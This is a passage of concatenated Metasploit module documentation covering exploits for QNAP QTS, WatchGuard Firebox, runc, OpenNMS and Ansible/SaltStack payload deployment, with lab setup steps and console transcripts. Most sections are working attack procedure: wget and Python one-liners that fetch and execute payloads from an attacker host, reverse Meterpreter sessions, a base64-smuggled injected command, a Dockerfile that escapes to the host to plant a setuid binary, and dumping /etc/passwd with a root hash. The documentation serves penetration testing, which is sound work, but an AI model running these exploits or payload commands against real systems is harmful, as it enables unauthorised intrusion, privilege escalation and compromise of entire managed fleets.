username => file
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set password file
password => file
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.91.196:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
[+] The target appears to be vulnerable. User file has ROLE_FILESYSTEM_EDITOR privileges. Exploitation is likely possible via CVE-2023-40315.
[*] Waiting 3 seconds for the changes to be saved...
[+] Successfully escalated privileges by adding ROLE_ADMIN
[*] Successfully edited notificationCommands.xml
[*] Successfully edited destinationPaths.xml
[*] Successfully edited notifications.xml
[+] Successfully uploaded the payload to thwjtslfaqsg.bsh
[*] Triggering the notification to execute the payload
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
[*] Sending stage (3045380 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:51914) at 2023-12-13 17:40:16 +0200
[*] Attempting cleanup...
meterpreter > getuid
Server username: opennms
```
@@ -0,0 +1,199 @@
## Vulnerable Application
### Description
There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and
QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage
(NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.
The vulnerable endpoint is the quick.cgi component, exposed by the devices web based administration feature.
The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used
during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully
initialized, the quick.cgi component is disabled on the system.
An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command
injection, allowing the attacker to execute arbitrary commands on the device.
### Setup
Vulnerable firmware can be downloaded from:
[TS-X64_20230926-5.1.2.2533.zip](https://download.qnap.com/Storage/TS-X64/TS-X64_20230926-5.1.2.2533.zip)
In order to decrypt the firmware use the following script:
[qnap-qts-fw-cryptor.py](https://gist.github.com/ulidtko/966277a465f1856109b2d2674dcee741)
Unzip the archive:
```
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip
Archive: TS-X64_20230926-5.1.2.2533.zip
inflating: TS-X64_20230926-5.1.2.2533.img
```
Decrypt the firmware:
```
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
Signature check OK, model TS-X64, version 5.1.2
Encrypted 1048576 of all 220239236 bytes
[99% left]
[99% left]
[99% left]
...snip
[02% left]
[00% left]
[00% left]
user@dev:~/qnap/$ ls
qnap-qts-fw-cryptor.py TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz TS-X64_20230926-5.1.2.2533.zip
```
Recreate the root file system:
```
user@dev:~/qnap/$ mkdir firmware
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
```
To run the Firmware first copy the qemu-x86_64-static binary into the root file system folder:
```
user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
```
Run _thttpd_ via QEMU:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$
sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080 -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
```
Verify the HTTP server is running:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1195417/./qemu-x86_
```
At the time of writing `/dev/random` and `/dev/urandom` are required to be present in the environment in order to work
around the following issue: https://github.com/rapid7/mettle/issues/255.
Ensure the binaries exist on your system:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ ls /dev/random
/dev/random
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ ls /dev/urandom
/dev/urandom
```
Create files the files:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ touch dev/random
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ touch dev/urandom
```
Mount the binaries:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo mount --bind /dev/random dev/random
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo mount --bind /dev/urandom dev/urandom
```
Drop to a shell via QEMU:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
```
Enable the component quick.cgi:
```
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
```
Fix a linker issue with QEMU:
```
sh-3.2# rm /lib/libnl-3.so.200
sh-3.2# ln -s /lib/libnl-3.so.200.24.0 /lib/libnl-3.so.200
```
Create this folder as it will be present in a NAS device containing a hard drive:
```
sh-3.2# mkdir /mnt/HDA_ROOT
```
## Verification Steps
1. Start msfconsole
1. Do: `use linux/http/qnap_qts_rce_cve_2023_47218`
1. Set the following options: `RHOST`, `RPORT`, `LHOST` and `FETCH_SRVPORT` if 8080 is already in use.
1. Run the module
1. Receive a Meterpreter session as the `admin` user.
## Scenarios
### TS-X64_20230926-5.1.2.2533 firmware emulated via qemu using the steps above.
```
msf6 > use linux/http/qnap_qts_rce_cve_2023_47218
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rport 8080
rport => 8080
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rhost 172.16.199.130
rhost => 172.16.199.130
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set lhost 172.16.199.158
lhost => 172.16.199.158
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set fetch_srvport 8085
fetch_srvport => 8085
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > options
Module options (exploit/linux/http/qnap_qts_rce_cve_2023_47218):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.199.130 yes The target host(s), see https://docs.metasploit.com/docs/using-metasp
loit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP
, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME mvcWDkBxSOK no Name to use on remote system when storing payload; cannot
contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8085 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /mnt/update yes Remote writable dir to store payload; cannot contain space
s.
LHOST 172.16.199.158 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Default
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > run
[*] Started reverse TCP handler on 172.16.199.158:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (3045380 bytes) to 172.16.199.130
[+] Deleted /mnt/update/RjzvVkLp
[+] Deleted /mnt/update/"$($(echo -n YmFzaCAvbW50L3VwZGF0ZS9Sanp2VmtMcA==|base64 -d))"
[*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.16.199.130:40004) at 2024-02-15 12:20:04 -0900
meterpreter > getuid
Server username: admin
meterpreter > sysinfo
Computer : 172.16.199.130
OS : (Linux 6.2.0-35-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,168 @@
## Vulnerable Application
This module exploits a buffer overflow at the administration interface (8080 or 4117) of WatchGuard Firebox and XTM appliances
which is built from a cherrypy python backend sending XML-RPC requests to a C binary called `wgagent` using pre-authentication
endpoint `/agent/login`.
This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.
Successful exploitation results in remote code execution as user `nobody`.
## Installation
### Installation steps to install Watchguard Firebox virtual appliance
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* Download the Watchguard Firebox `12.7.2` ova instance.
* You can download it from [here](https://cdn.watchguard.com/SoftwareCenter/Files/XTM/12_7_2/FireboxV_12_7_2.ova).
* Import the ova instance in your virtualization engine.
* See instructions for VirtualBox [here](https://www.simplified.guide/virtualbox/vm-import).
* Configure the network interfaces (first interface is WAN and second interface is internal).
* You can either choose bridged or NAT depending on your preference for the test environment.
* Boot up the Firebox VM.
* You should be able to access the Watchguard Firebox either thru the console, `ssh` on port `4117`
* or via the `webui` via `https://your_firebox_wan_ip:8080`.
* The default account is `admin` and password is `readwrite`.
You are now ready to test the module.
## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318`
- [x] `set rhosts <ip-target>`
- [x] `set lhost <ip-attacker>`
- [x] `set target <0=Automatic>`
- [x] `exploit`
you should get a `interactive python shell` .
```shell
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options
Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes WatchGuard Firebox base url
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
CreateSession true no Create a new session for every successful login
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL /usr/bin/python yes The system shell to use
Exploit target:
Id Name
-- ----
0 Automatic (Reverse Python Interactive Shell)
View the full module info with the info, or info -d command.
```
## Options
Please set the `SHELL` option to `/usr/bin/python` becuase this is the only shell available on the appliance.
## Scenarios
### Watchguard Firebox Automatic - cmd/unix/reverse_python
```shell
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24
rhosts => 192.168.201.24
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.24:8080 can be exploited.
[+] The target appears to be vulnerable.
[*] 192.168.201.24:8080 - Attempting to exploit...
[*] 192.168.201.24:8080 - Sending payload...
[*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.24:40354) at 2024-03-03 19:50:17 +0000
Shell Banner:
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
-----
>>> import os
>>> import subprocess
>>> os.listdir("./")
['debug', 'platform', 'log', 'wgapi', 'hosts', 'mdev.seq', 'admd.rsync', 'portald', 'portald_data', 'eth0mac', 'rs_sn',
'.libtdts_ctrl.lck', 'fw', 'mwan.input', 'wgmsg', 'nwd_dfltmac', 'fqdn_dns_server_list', 'lm.conf', 'sw.conf', 'wcfqdn_label',
'ifmd.cfg.lock', 'wgif_dhcp_eth0.pid', 'wgif_dhcp_eth0_uds', 'wgif_eth1.cfg.lock', 'wgif_eth1.cfg', 'rootca', 'haopevent.log',
'keeper_init_uds', 'sslvpn', 'empty', 'certs.rsync', 'certs.unpack', 'csync', 'ldapsCA', 'iked.semid', 'system_hash.txt',
'iked.params', 'iked.pid', 'cdiag', 'lockout_users.xml', 'dxcpd', 'wgredir.txt', 'dimension', 'affinityd.err', 'wgif_eth0.cfg.lock',
'wgif_eth0.cfg', 'dhcp6d.conf', '6OGD.py', 'ifmd.cfg', 'dhcpd.conf', 'dnsmasq-internal.conf', 'radvd.conf', 'yDnm.py', 'HPM4.py']
>>>
>>> os.getuid()
99
>>> os.getgid()
96
>>> print(open("/etc/passwd").read())
root:!$6$XlAENt8.$3RgXuDXBhgsf0FqJ0hrzmrh6qAhvMlCkU6Z976KIDI27gxIZOI0f27lkyJwubRxW5VaO4i9olIybS0Z2R9Ihw1:0:0:Administrator:/root:/bin/ash
bin:x:1:1:bin:/bin:
system:x:2:96:WG System daemons:/:
nobody:x:99:99:Nobody:/:
wgntp:x:98:98:OpenNTP daemon:/var/run/ntpd:
openvpn:x:97:97:OpenVPN daemon:/:
www:x:96:95:WebUI:/:
cli:x:95:95:CLI:/:
cfm:x:94:94:CFM:/var/cfm_sandbox:
agent:x:93:96:WG Agent:/:
scand:x:91:94:Scanning Daemon:/var/run/scand:
spamd:x:90:94:Spam Daemon:/var/cfm_sandbox:
sshd:x:89:89:sshd privilege separation:/var/empty:
quagga:x:88:88:Quagga Dynamic Routing:/var/run/quagga:
wgcha:x:92:96:WG Call Home Agent:/var/run/wgcha:
netdbg:x:87:87:Diagnostic Utilities:/tmp/netdbg:
cwagent:x:100:100:ConnectWise Agent:/var/empty:
dimension:x:101:101:Dimension Service:/var/run/dimension:
tss:x:102:102:trousers daemon:/:
atagent:x:103:103:Autotask Agent:/var/empty:
psad:x:104:104:PSA Daemon:/var/empty:
guac:x:105:105:Guacamole Daemons:/var/run/guac:
portald:x:106:105:Portald:/var/run/portald:
admin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
wgadmin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
dnswatchd:x:110:96:DNSWatch Service Daemon:/var/empty:
tpagent:x:111:96:Tigerpaw Agent:/var/empty:
>>> print(open("/etc/group").read())
admin:x:0:0
bin:x:1:admin,bin
nobody:x:99:
wgntp:x:98:
openvpn:x:97:
wg:x:96:
ui:x:95:
proxy:x:94:
sshd:x:89:
quagga:x:88:
netdbg:x:87:
cwagent:x:100:
dimension:x:101:
tss:x:102:
atagent:x:103:
psad:x:104:
ctlvpn:x:105:
dnswatchd:x:107:
>>> os.uname()
('Linux', 'FireboxV', '4.14.83', '#1 SMP Mon Sep 27 17:48:07 PDT 2021', 'x86_64')
>>>
```
## Limitations
There is no `shell` installed and there is only a `busybox` version available with a very limited unix command set.
The only option is to use the interactive python shell (`/usr/bin/python -i`) as payload to get access to the target.
Check out `https://docs.python.org/2.7/library/os.html` to execute commands on the target.
Another limitation is the crash of `wgagent` service that will show up in the diagnostic log and will break the user login via the `webui`.
@@ -0,0 +1,189 @@
## Vulnerable Application
This exploit module creates an ansible module for deployment to nodes in the network.
It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
targets which have been selected (default all).
### Docker-compose Install
Use the ansible lab files located [here](https://github.com/abdennour/ansible-lab-environment-in-containers).
Before bringing up the `docker-compose` instance, you'll want to generate an SSH key: `ssh-keygen -t rsa -N "" -f secrets/id_rsa`
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use exploit/linux/local/ansible_node_deployer`
1. Do: `set session [#]`
1. Do: `run`
1. You should get sessions on all the targeted hosts
## Options
### ANSIBLEPLAYBOOK
Location of ansible executable if not in a standard location. This is added to a list of default locations
which includes `/usr/local/bin/ansible`. Defaults to ``
### WritableDir
A directory on the compromised host we can write our payload to. Defaults to `/tmp`
### TargetWritableDir
A directory on the target hosts we can write our payload to. Defaults to `/tmp`
### CALCULATE
This will calculate how many hosts may be exploitable by using Ansible's ping command.
### HOSTS
Which Ansible host (groups) to target. Defaults to `all`
### ListenerTimeout
How many seconds to wait after executing the payload for hosts to call back.
If set to `0`, wait forever. Defaults to `60`
## Scenarios
### Docker compose as mentioned above
Get initial access to the system
```
resource (ansible_deploy.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (ansible_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ansible_deploy.rb)> set srvport 8181
srvport => 8181
resource (ansible_deploy.rb)> set target 7
target => 7
resource (ansible_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (ansible_deploy.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/2BQIMgeywC6gGt9
[*] Server started.
[*] Run the following command on the target machine:
wget -qO OHZQobFE --no-check-certificate http://1.1.1.1:8181/2BQIMgeywC6gGt9; chmod +x OHZQobFE; ./OHZQobFE& disown
[*] 172.22.0.7 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 172.22.0.7
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.22.0.7:49612) at 2023-12-15 20:12:27 -0500
```
```
resource (ansible_deploy.rb)> use exploit/linux/local/ansible_node_deployer
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
resource (ansible_deploy.rb)> set session 1
session => 1
resource (ansible_deploy.rb)> set verbose true
verbose => true
resource (ansible_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ansible_deploy.rb)> set lport 9999
lport => 9999
[*] Starting persistent handler(s)...
[msf](Jobs:1 Agents:0) exploit(linux/local/ansible_node_deployer) >
[msf](Jobs:1 Agents:1) exploit(linux/local/ansible_node_deployer) > set TargetWritableDir /etc/
TargetWritableDir => /etc/
[msf](Jobs:1 Agents:1) exploit(linux/local/ansible_node_deployer) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/local/ansible_node_deployer) >
[*] Started reverse TCP handler on 1.1.1.1:9999
[*] Running automatic check ("set AutoCheck false" to disable)
[+] /tmp is writable, and ansible executable found
[+] The target is vulnerable.
[+] Stored pings to: /root/.msf4/loot/20231215201340_default_172.22.0.7_ansible.ping_422232.txt
[+] Ansible Pings
=============
Host Status Ping Changed
---- ------ ---- -------
alpine-example-com SUCCESS pong false
alpinesystemd-example-com SUCCESS pong false
centos7-example-com SUCCESS pong false
rhel8-example-com SUCCESS pong false
[+] 4 ansible hosts were pingable, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
[*] Creating yaml job to execute
[*] Writing payload
[*] Writing '/tmp/O514h2N' (250 bytes) ...
[*] Executing ansible job
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.22.0.6
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.22.0.4
[+] Stored run logs to: /root/.msf4/loot/20231215201411_default_172.22.0.7_ansible.playbook_967421.txt
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.22.0.5
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.22.0.2
[*] Meterpreter session 2 opened (1.1.1.1:9999 -> 172.22.0.6:60850) at 2023-12-15 20:14:36 -0500
[*] Meterpreter session 5 opened (1.1.1.1:9999 -> 172.22.0.2:34980) at 2023-12-15 20:14:36 -0500
[*] Meterpreter session 3 opened (1.1.1.1:9999 -> 172.22.0.4:51082) at 2023-12-15 20:14:46 -0500
[*] Meterpreter session 4 opened (1.1.1.1:9999 -> 172.22.0.5:41770) at 2023-12-15 20:14:56 -0500
[msf](Jobs:2 Agents:5) exploit(linux/local/ansible_node_deployer) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux root @ 172.22.0.7 1.1.1.1:4444 -> 172.22.0.7:49612 (172.22.0.7)
2 meterpreter x64/linux root @ 172.22.0.6 1.1.1.1:9999 -> 172.22.0.6:60850 (172.22.0.6)
3 meterpreter x64/linux root @ 172.22.0.4 1.1.1.1:9999 -> 172.22.0.4:51082 (172.22.0.4)
4 meterpreter x64/linux root @ 172.22.0.5 1.1.1.1:9999 -> 172.22.0.5:41770 (172.22.0.5)
5 meterpreter x64/linux root @ 172.22.0.2 1.1.1.1:9999 -> 172.22.0.2:34980 (172.22.0.7)
```
```
└─$ cat ~/.msf4/loot/20231215201411_default_172.22.0.7_ansible.playbook_967421.txt
PLAY [Deliver Meterpreter] *****************************************************
TASK [Gathering Facts] *********************************************************
[DEPRECATION WARNING]: Distribution redhat 8.2 on host rhel8-example-com should
use /usr/libexec/platform-python, but is using /usr/bin/python for backward
compatibility with prior Ansible releases. A future Ansible release will
default to using the discovered platform python for this host. See https://docs
.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html for
more information. This feature will be removed in version 2.12. Deprecation
warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.
ok: [rhel8-example-com]
ok: [centos7-example-com]
[WARNING]: Platform linux on host alpine-example-com is using the discovered
Python interpreter at /usr/bin/python, but future installation of another
Python interpreter could change this. See https://docs.ansible.com/ansible/2.9/
reference_appendices/interpreter_discovery.html for more information.
ok: [alpine-example-com]
[WARNING]: Platform linux on host alpinesystemd-example-com is using the
discovered Python interpreter at /usr/bin/python, but future installation of
another Python interpreter could change this. See https://docs.ansible.com/ansi
ble/2.9/reference_appendices/interpreter_discovery.html for more information.
ok: [alpinesystemd-example-com]
TASK [ansible.builtin.copy] ****************************************************
changed: [alpine-example-com]
changed: [centos7-example-com]
changed: [rhel8-example-com]
changed: [alpinesystemd-example-com]
TASK [ansible.builtin.file] ****************************************************
changed: [alpine-example-com]
changed: [rhel8-example-com]
changed: [centos7-example-com]
changed: [alpinesystemd-example-com]
TASK [command] *****************************************************************
```
@@ -0,0 +1,119 @@
## Vulnerable Application
All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,
and Kubernetes are vulnerable to an arbitrary file write.
Due to a file descriptor leak it is possible to mount the host file system
with the permissions of runc (typically root).
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial session
1. Do: `use exploit/linux/local/runc_cwd_priv_esc`
1. Do: `set session [session]`
1. Do: `run`
1. You should get a root shell.
## Options
## DOCKERIMAGE
A docker image to use, docker image must have linux commands
available (`scratch` won't work). Defaults to `alpine:latest`
## FILEDESCRIPTOR
The file descriptor to use, typically `7` or `8`. Defaults to `8`
### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04
Get an initial shell
```
user@userubuntu22:~/metasploit-framework$ ./msfconsole -qr runc.rb
[*] Processing runc.rb for ERB directives.
resource (runc.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (runc.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (runc.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://1.1.1.1:8080/v5IbTIj', context=ssl._create_unverified_context());exec(r.read());"
[*] 1.1.1.1 web_delivery - Delivering Payload (436 bytes)
[*] Sending stage (24768 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 1.1.1.1:45198) at 2024-02-01 18:14:09 +0000
msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: user
meterpreter > sysinfo
Computer : userubuntu22
OS : Linux 5.19.0-43-generic #44~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon May 22 13:39:36 UTC 2
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > background
[*] Backgrounding session 1...
```
Priv Esc
```
resource (runc.rb)> use exploit/linux/local/runc_cwd_priv_esc
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
resource (runc.rb)> set lhost 1.1.1.1
[*] Using URL: http://1.1.1.1:8080/v5IbTIj
lhost => 1.1.1.1
resource (runc.rb)> set session 1
session => 1
resource (runc.rb)> set lport 9876
lport => 9876
msf6 exploit(linux/local/runc_cwd_priv_esc) > set verbose true
verbose => true
msf6 exploit(linux/local/runc_cwd_priv_esc) > run
[*] Started reverse TCP handler on 1.1.1.1:9876
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture: python
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.7-0ubuntu1~22.04.1 detected
[*] Creating directory /tmp/.HdUvYm3
[*] /tmp/.HdUvYm3 created
[*] Uploading Payload to /tmp/.HdUvYm3/.OiGEedVKP
[*] Uploading Dockerfile to /tmp/.HdUvYm3/Dockerfile
[*] Building from Dockerfile to set our payload permissions
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
[*] Install the buildx component to build images with BuildKit:
[*] https://docs.docker.com/go/buildx/
[*]
[*] Sending build context to Docker daemon 3.072kB
[*] Step 1/3 : FROM alpine:latest
[*] ---> 05455a08881e
[*] Step 2/3 : WORKDIR /proc/self/fd/8
[*] ---> Using cache
[*] ---> f73c936557f3
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 4777 tmp/.HdUvYm3 && chown -R root:root tmp/.HdUvYm3 && chmod u+s tmp/.HdUvYm3/.OiGEedVKP
[*] ---> Running in c4afc663c2bc
[*] Removing intermediate container c4afc663c2bc
[*] ---> b490ec709420
[*] Successfully built b490ec709420
[*] Executing payload
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 1.1.1.1
[+] Deleted /tmp/.HdUvYm3
[*] Meterpreter session 2 opened (1.1.1.1:9876 -> 1.1.1.1:43876) at 2024-02-01 18:15:04 +0000
[-] run: Interrupted
msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
```
@@ -0,0 +1,126 @@
## Vulnerable Application
This exploit module uses saltstack salt to deploy a payload and run it
on all targets which have been selected (default all).
Currently only works against nix targets.
### Vulnerable Host
A vulnerable host install can be found in this [Docker environment](https://github.com/vulhub/vulhub/blob/master/saltstack/CVE-2020-11651/docker-compose.yml).
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use exploit/linux/local/saltstack_salt_minion_deployer`
1. Do: `set session [#]`
1. Do: `run`
1. You should get sessions on all the targeted hosts
## Options
### SALT
Location of salt-master executable if not in a standard location. This is added to a list of default locations
which includes `/usr/bin/salt-master`, `/usr/local/bin/salt-master`. Defaults to ``
### MINIONS
Which minions to target. Defaults to `*`
### WritableDir
A directory on the compromised host we can write our payload to. Defaults to `/tmp`
### TargetWritableDir
A directory on the target hosts we can write and execute our payload to. Defaults to `/tmp`
### CALCULATE
This will calculate how many hosts may be exploitable by using Ansible's ping command.
### ListenerTimeout
How many seconds to wait after executing the payload for hosts to call back.
If set to `0`, wait forever. Defaults to `60`
## Scenarios
### Minion 3002.2 on Ubuntu 20.04
Get initial access to the system. In this case, root was required to execute salt commands successfully.
```
resource (salt_deploy.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (salt_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (salt_deploy.rb)> set srvport 8181
srvport => 8181
resource (salt_deploy.rb)> set target 7
target => 7
resource (salt_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (salt_deploy.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/hvy2Ol
[*] Server started.
[*] Run the following command on the target machine:
wget -qO exVJILEV --no-check-certificate http://1.1.1.1:8181/hvy2Ol; chmod +x exVJILEV; ./exVJILEV& disown
[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 3.3.3.3
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 3.3.3.3:45200) at 2023-12-16 09:59:02 -0500
```
```
resource (salt_deploy.rb)> use exploit/linux/local/saltstack_salt_minion_deployer
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
resource (salt_deploy.rb)> set session 1
session => 1
resource (salt_deploy.rb)> set verbose true
verbose => true
resource (salt_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (salt_deploy.rb)> set lport 9996
lport => 9996
[msf](Jobs:1 Agents:0) exploit(linux/local/saltstack_salt_minion_deployer) >
